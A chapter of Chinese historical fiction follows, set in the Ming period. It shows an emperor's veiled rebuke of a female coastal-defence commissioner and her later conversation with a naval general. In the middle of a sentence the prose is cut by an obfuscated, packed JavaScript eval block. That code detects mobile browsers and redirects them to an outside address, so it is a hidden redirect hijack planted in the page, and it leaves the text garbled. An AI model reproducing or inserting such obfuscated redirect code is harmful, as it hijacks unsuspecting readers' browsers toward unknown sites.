北京，紫禁城。
朱慎思坐在宽大的御案后，一只手臂横在腹间，抵着另一只手的手肘，而那只手里则捏着从浙江加急呈送上来的题本。
邓迁侍立在他身后，正替他轻轻捶着背，目光也不由自主地落在那份展开的题本上。
“制海权……”邓迁喃喃念了出来。
“你说说，”朱慎思忽然开口，“这制海权是个什么东西？”
邓迁闻言，腰弯得更低了些，声音谨慎又恭敬：“回陛下，奴婢愚见，这制海权大抵就是海上官道？普天之下，莫非王土，这茫茫大海也该是咱们大明的疆域。何人能行船，何货可流通，何处可停泊，都得由我大明说了算。”
“是这么个意思，”朱慎思点头，曲起指节在“重振水师”四字上敲了敲，“这题本写得满满当当，落到实处就一个‘钱’字。”言罢，就把那题本啪地撂在御案上，像是突然想起了什么，回头看向邓迁。
“欸你说，朕之前派她去东南，是让她干什么来着？”
几乎在撂下题本的同一瞬，邓迁便已停手退开半步，此时更是俯身恭答：“陛下当初的旨意，是命裴镇抚使查勘倭情。”
朱慎思扯着嘴角笑一声。
“倭情呢是半字未报，光在浙江巡了巡海防，倒给朕写来这许多字讨银子，还张口闭口制海权，一个个的除了变着法儿伸手要钱，还会干什么？”他越说越气，“朕看她是到了地方，查勘一番，发现倭寇不过是残寇余孽，与往年无异，这下不好交差了，便写了这么一篇冠冕堂皇的东西上来，好叫朕知道，她没闲着，是在深谋远虑呢！”
邓迁使劲儿点头：“陛下圣明烛照，一眼就看穿了她的小心思。依奴婢浅见，既然她差事办得不甚妥当，不如就召她回京？”
“召回？”朱慎思眉毛一挑，语气不善，“她如今在哪，你让她回来？”
邓迁顿时会意，噤声不敢再多言。
“待她到了广东，再传旨召还罢。”朱慎思揉了揉额角，“朕也真是着了她的道儿了，你说当初怎么就……”他摇摇头，叹道，“朕后来细细思量，越发觉出不对，那会儿也不知怎的竟被她三言两语给绕进去了。”
邓迁想说什么，抿了抿嘴，还是不说了。
＊
杭州，浙江巡抚衙门。
大堂里呼啦啦跪倒一片，司礼监随堂太监贾振元奉旨南下，此刻正展卷宣读。
“奉天承运皇帝，诏曰：朕静摄深宫，而念无一时不在四海，近览浙省奏牍，知海波晏平，朕心甚慰。特循先朝成例，遣内官赴舟山，致祭于东海之神。钦此——”
苏元忭伏地听旨，一时感到懵然。这祭祀海神，向来是逢飓风大作或海疆不靖之时，朝廷方遣大臣或内官前来焚香祷祝，祈求神佑。可这圣旨里偏又说“海波晏平”，海波晏平，那祭什么海神呢？再想起前头派裴泠来巡视海防时，圣旨上分明写着“东南告警，朕甚忧之”，他们这也没干什么，怎的前脚还“甚忧”，后脚就成“甚慰”了呢？
宣读罢，贾振元满面春风地将卷轴收起，抬手虚扶：“诸位大人快快请起。”
众人谢恩起身，官袍窸窣，旋即纷纷面露笑容，围拢上去与贾振元寒暄。
贾振元噙着笑，从容应酬，待寻得个间隙，便从人堆里脱身，踱至裴泠跟前。
刹那间，堂上原本的寒暄声似乎微妙地低了几分，众官员虽仍假作攀谈，那耳朵早都悄悄竖了起来。
“裴提督。”贾振元笑吟吟地先开了口。
“贾公公。”裴泠亦含笑相应。
贾振元先低头理了理袖，而后抬眼望向堂外天色，忽地感慨：“到底是江南地界，这时节若在京城，早该裹上厚袄子了，怪道文人墨客总要说江南好，这趟南下，可算让咱家也见识了。”他扭头看她，意味深长地道，“说来，还是托了裴提督的福呢。”
在场的全是人精，将圣旨与贾振元的话两相对照，顷刻便品出了弦外之音。圣上哪里是真想祭海神，分明是圣心不悦，借祭祀之名，在行敲打之实。“甚忧”转为“甚慰”，莫非是圣上觉得倭情不足为虑，要她行事收敛些，莫要兴师动众？如此看来，这位裴提督在御前，也是如履薄冰哪！
裴泠听后，只是笑了笑，没有说话。
在官场，许多话也不必说破，点到即止，彼此心照不宣便是了，贾振元见她领会，也不再赘言，同样回以一笑。
＊
舟山，龙王庙。
但见庙门洞开，内里烟气缭绕，祭台上三牲皆覆黄绫。贾振元净过手，焚上高香，行毕三拜九叩大礼，便展开祝文，抑扬顿挫地诵读起来。
庙外乌泱泱围满了人，裴泠站在外头，正望着里面繁琐的祭祀仪程。
宋长庚移步到她身后，压低声音问：“大人，圣上为何突然遣了位内官来祭海神？”
“遣来警告我的。”裴泠回道。
“警告？”宋长庚一愣。
“嘉靖年间，张经总督东南沿海军务，专责讨倭。转头，世宗皇帝便遣了工部右侍郎赵文华，以祭海神为名南下浙江，明为祭祀，实则是来监督张经的。”裴泠道。
“那圣上为何突然要警告你？”宋长庚不解。
“前些日子上了道折子，可能把他惹毛了。”
宋长庚闻言有些紧张：“那圣上……”
她转头笑了笑：“没事，他不过敲打一二，实则不会如何，纵有万般不满，眼下也不会把我召回去。”
“这是为何？”宋长庚追问。
裴泠便道：“他新登大宝，最重声名，行事难免瞻前顾后，既命我巡视浙广海防，如今我尚在浙江便急急召还，岂不是自损颜面？天子英明决断，如何能错呢。”
宋长庚沉吟着：“若换作是我，恐怕压根猜不到这祭海神的背后，是圣上在敲打。”
裴泠侧目看他：“决定进官场，就必须学会这些，光凭一股子莽劲埋头做事，是不行的。”
宋长庚苦笑：“我只怕自己不是这块料，大人或许高看我了。”
“不必妄自菲薄，”她道，“路都是走出来的。”
＊
沈家门水寨的操练场上，喊杀声震得地皮都在发颤。
吴信中这些时日天天亲临督练，严苛得不近人情，莫说底下兵丁，便是汪其勤和刘永也被他这阵仗弄得是半点不敢松懈。
裴泠站在操练场外缘，目光与他遥遥一碰。吴信中见她似有话说，便摆手令副官继续督操，自己大步走了出来。
裴泠见他近前，便含笑问：“吴总兵，出去走走？”
*
时近黄昏，落日西沉，将海面染得金红粼粼。
“吴总兵，”裴泠道，“先前在浙江沿
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17044993|184422||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
海流窜的那股倭寇，可否与我细说一番？”
吴信中脚步缓下来，沉声道：“裴提督，我知你心中存疑，非我吴某推诿卸责，但依我之见，这伙倭寇与往年那些残部流寇并无二致。大汛期间，倭寇初从东洋渡来，尚未劫掠，攻势往往最凶。可前番那伙不足百人，只在台州沿海游弋，撞见我水师兵船，未及交战便四散溃逃。许是从广东一带北蹿而来，到了江南地界，不过是存着能掠则掠，不能则走的心思，唯恐真与我军硬碰，反倒血本无归。在我看来，这就是寻常残寇的行径。”
裴泠点了点头：“好，我了解了。”
两人缓步并行于海边步道，天际的云像铺开的棉絮，连成茫茫一片，抬眼望去，远处峰峦与那片赤金色的火烧云仅隔咫尺。
吴信中忽地顿步，侧首道：“快日落了，不如在此稍候片刻，从这个方位看，景致最好。”
裴泠笑了笑说：“也好。”
两人便倚着一块半人高的礁石，静待那轮红日没入海平线。
吴信中默然半晌，道：“裴提督，与你说句掏心窝子的话，那日跟你喝完酒，我心里着实不是滋味。扪心自问，若以如今浙师的境况，是断然打不出露梁海战那般煊赫战绩的。”
“吴总兵，”裴泠缓缓开口，“自万历朝鲜战争后，倭寇是一年少过一年了，一则是日本确实被我们打怕了，二则也和其国政与掌权者意向有关。东南沿海承平日久，可这承平于海防而言，未必是好事。”
她顿了顿，继续道：“朝廷的重心一直是放在辽东的，于海疆防务，向来是无事时苛敛资源，有事时恨不得你立马能以一当百。水兵也历来是急选快废，倭寇猖獗便紧急募兵，待防务不急，又觉养兵靡废，为减饷省粮就行裁汰或改去屯田。可养这些水师所废银两，与倭寇破关劫掠造成的损失相比，不过是九牛一毛。庙堂诸公宁可省下眼前这笔开销，将隐患埋于将来，只盼天佑海疆，永无大患。”
裴泠转过脸看他，神色认真：“这些是上面的政策，地方将帅没法干预，唯有服从，但我们还是可以在有限的资源里，将手头这些兵，练到最好，训到最精。倘若因上头政策弛懈，地方守将也跟着松懈麻痹，那就真的不好了。”
吴信中沉思良久，方郑重道：“听君一席话，受益良多。”
裴泠颔首一笑：“我只是来沿海巡视，并不能改变什么，浙师能成什么样子，全靠总兵大人。”
吴信中闻言，眉峰一扬：“裴提督也莫要小觑了吴某，你用一个月便能将沙民练成这样，我老吴又如何不能？我这人一旦较起真来，那可不一般。待你下回再来浙江，我保证让你见到一支脱胎换骨的浙师。”
裴泠展笑道：“我自然信得过总兵大人。”
吴信中没说话，从怀里掏出一张适才在路边小摊买的鱼饼，撕作两半，递过一半来。
裴泠也不推辞，伸手接过。两人相视一笑。
大口咬着自己那半块饼，嚼了几下，吴信中忽然问：“裴提督，冒昧问一句，今年贵庚？”
裴泠也咬下一口：“二十有五。”
望着那轮愈沉愈圆的红日，吴信中由衷叹笑：“江山代有才人出啊。”
夕阳缓缓下坠，两人倚着礁石，就着漫天霞光，一口一口吃着手中鱼饼。但见海天之线，余晖渐收，天穹褪去颜色，夜幕如轻纱般垂落而来。